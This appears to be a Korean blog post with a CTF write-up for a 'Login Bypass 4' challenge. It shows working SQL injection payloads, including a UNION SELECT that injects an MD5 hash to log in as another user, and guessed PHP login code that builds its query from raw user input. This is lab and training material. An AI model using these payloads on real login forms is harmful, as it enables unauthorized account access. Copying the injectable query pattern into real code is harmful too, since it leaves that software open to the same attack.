일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Reflected Xss
- 로그인페이지
- file upload
- Cross Site Request Forgery
- CTF
- sql injection point
- 웹개발
- 세션
- union sql injection
- php
- cors
- sql injection
- JWT
- Python
- JS
- lord of sql injection
- 게시판 만들기
- blind sql injection
- 쿠키
- cookie 탈취
- MySQL
- XSS
- Los
- csrf
- 로그인
- lord of sqli
- 과제
- Error based sql injection
- 모의해킹
- css
- Today
- Total
Almon Dev
ctf 풀이 (Login Bypass 4) 본문
ctf 문제풀이
Login Bypass 4
풀이
1> doldol / dol1234로 로그인해 봅니다.
post요청으로 아이디, 비밀번호를 보낸 뒤, 로그인에 성공하면 302 리다이렉트 결과를 응답합니다.
2> sql injection 확인
지난번 문제와 마찬가지로 아이디 입력은 sql injection이 존재하고, 비밀번호 입력은 존재하지 않습니다.
UserId=doldol'+and+'1'%3d'1 >> doldol' and '1'='1
3> sql에서 가져오는 컬럼 개수 확인하기 (order by 사용)
UserId=doldol'+order+by+2+desc# 를 통해 받아오는 컬럼의 개수가 2개인 것을 확인
4> 로그인 코드 예상해 보기
db에서 비밀번호와 닉네임을 받아와서 인증절차를 따로 거치는 코드로 예상합니다.
$sql = "select nickname, password from member where id='$input_id'";
if( $input_pass == $db_pass ) {
// 로그인
}
5> normaltic4로 로그인해 보기
지난번 문제처럼 union을 이용해서 normaltic4의 비밀번호를 직접 설정해서 로그인을 시도해 봅니다.
UserId='+union+select+'normaltic4',+'1234'+order+by+2+desc#&Password=1234&Submit=Login
6> 로그인 로직 추측
1234로 비밀번호를 설정하고 1234를 입력해도 로그인이 안된다면,
hash를 거친 뒤 인증을 하도록 되어 있을 것으로 추측됩니다.
<?php
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$input_pass_hash = hash('sha256', $input_pass);
$server_name = "localhost";
$username = "root";
$password = "";
$db_name = "test";
$conn = new mysqli($server_name, $username, $password, $db_name);
$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];
if($input_pass_hash == $db_pass) {
// 로그인 성공
echo $nickname;
}else {
// 로그인 실패
echo 'fail';
}
7> 우회 방법 생각해보기
union select로 만들어둔 평문과 입력한 비밀번호를 해싱된 값이 달라서 로그인에 실패하는 것
=> union select에서 비밀번호를 해싱된 값으로 설정합니다.
8> 암호화 알고리즘 추측
bcrypt, Argon2같은 salt를 사용하는 알고리즘은 이런 방식으로 알아내기 힘듭니다.
md5, sha256일 가능성을 두고 시도해봅니다.
9> md5 시도해보기 (성공)
test를 md5로 암호화한 값 098F6BCD4621D373CADE4E832627B4F6를 이용해서 로그인 시도해보기
UserId=doldol'+union+select+'normaltic4',+'098F6BCD4621D373CADE4E832627B4F6'+order+by+2+asc#
&Password=test
로그인 php 코드 예상
<?php
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$input_pass_hash = hash('md5', $input_pass);
$server_name = "localhost";
$username = "root";
$password = "";
$db_name = "test";
$conn = new mysqli($server_name, $username, $password, $db_name);
$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];
if($input_pass_hash == $db_pass) {
// 로그인 성공
echo $nickname;
}else {
// 로그인 실패
echo 'fail';
}
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (admin is mine) (1) | 2024.11.19 |
---|---|
ctf 풀이 (Secret Login) (2) | 2024.11.18 |
ctf 풀이 (Login Bypass 3) (0) | 2024.11.16 |
모의해킹 공부 (5주차 정리) (1) | 2024.11.15 |
자바스크립트로 키로거 만들기 (2) | 2024.11.07 |